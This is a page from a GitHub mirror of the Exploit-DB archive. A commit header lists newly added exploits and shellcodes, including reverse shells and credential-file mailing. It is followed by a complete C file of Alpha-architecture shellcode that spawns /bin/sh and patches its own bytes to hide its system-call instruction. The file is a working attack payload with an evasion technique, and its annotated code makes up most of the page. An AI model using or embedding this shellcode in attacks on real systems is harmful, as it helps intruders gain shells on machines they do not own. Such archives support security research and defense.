mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-10 05:51:30 -10:00
Offensive Security
a7ddd8282b
28 changes to exploits/shellcodes Multiple CPUs - Information Leak Using Speculative Execution Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check Jungo Windriver 12.5.1 - Privilege Escalation DiskBoss Enterprise 8.8.16 - Buffer Overflow HPE iMC - dbman RestoreDBase Unauthenticated Remote Command Execution (Metasploit) HPE iMC - dbman RestartDB Unauthenticated Remote Command Execution (Metasploit) Synology Photostation 6.7.2-3429 - Remote Code Execution (Metasploit) Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure Muviko 1.1 - SQL Injection WordPress Plugin Events Calendar - 'event_id' SQL Injection WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery WordPress Plugin CMS Tree Page View 1.4 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes) BSD/x86 - setuid(0) + Bind TCP Shell (31337/TCP) Shellcode (94 bytes) BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes) BSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - execve(/bin/cat /etc/master.passwd) | mail root@localhost Shellcode (92 bytes) FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) Linux/x86 - execve /bin/dash Shellcode (30 bytes) Alpha - /bin/sh Shellcode (80 bytes) Alpha - execve() Shellcode (112 bytes) Alpha - setuid() Shellcode (156 bytes) BSD/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh_) Shellcode (36 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)
55 lines
3.2 KiB
C
55 lines
3.2 KiB
C
char shellcode[]=
|
|
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
|
|
/* $16 = $30 - 200
|
|
/* $16 must have the shellcode address. However, before */
|
|
/* the bsr instruction, $16 can't have the address. */
|
|
/* This instruction just store the meaningless address. */
|
|
/* The all instruction before bsr are meaningless. */
|
|
|
|
"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */
|
|
/* $17 = 0 or 0x83 */
|
|
/* $17 = 0x83 */
|
|
"\x12\x94\x07\x42" /* addq $16,60,$18 */
|
|
"\xfc\xff\x32\xb2" /* stl $17,-4($18) */
|
|
/* $17("\x83\x00\x00\x00") is stored in $16 + 60 - 4 */
|
|
/* address. */
|
|
/* ( "\xff\xff\xff\xff" -> "\x83\x00\x00\x00" ) */
|
|
|
|
"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */
|
|
"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */
|
|
/* $17 = "\x1f\x04\xff\x47" */
|
|
/* "\x1f\x04\xff\x47" is nop instruction. */
|
|
|
|
"\xfc\xff\x30\xb2" /* stl $17,-4($16) */
|
|
/* change "bsr $16,-28" instruction" into nop */
|
|
/* instruction to pass through the bsr instruction. */
|
|
/* ( "\xf9\xff\x1f\xd2" -> "\x1f\x04\xff\x47" ) */
|
|
|
|
"\xf9\xff\x1f\xd2" /* bsr $16,-28 */
|
|
/* Jump to "bis $31,0x83,$17" and store the current */
|
|
/* address in the $16. */
|
|
/* After jump, this insturction will be changed into */
|
|
/* nop instruction. */
|
|
|
|
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
|
|
"\x31\x15\xd8\x43" /* subq $30,192,$17 */
|
|
"\x12\x04\xff\x47" /* clr $18 */
|
|
"\x40\xff\x1e\xb6" /* stq $16,-192($30) */
|
|
"\x48\xff\xfe\xb7" /* stq $31,-184($30) */
|
|
"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
|
|
"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
|
|
"\x12\x04\xff\x47" /* clr $18 */
|
|
"\x40\xff\x1e\xb6" /* stq $16,-192($30) */
|
|
"\x48\xff\xfe\xb7" /* stq $31,-184($30) */
|
|
"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
|
|
"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
|
|
"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */
|
|
"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */
|
|
"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */
|
|
"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */
|
|
"\x38\xff\x7e\xb2" /* stl $19,-200($30) */
|
|
"\x13\x94\xe7\x43" /* addq $31,60,$19 */
|
|
"\x20\x35\x60\x42" /* subq $19,1,$0 */
|
|
|
|
"\xff\xff\xff\xff"; /* callsys ( disguised ) */
|
|
/* This will be changed to "\x83\x00\x00\x00" */ |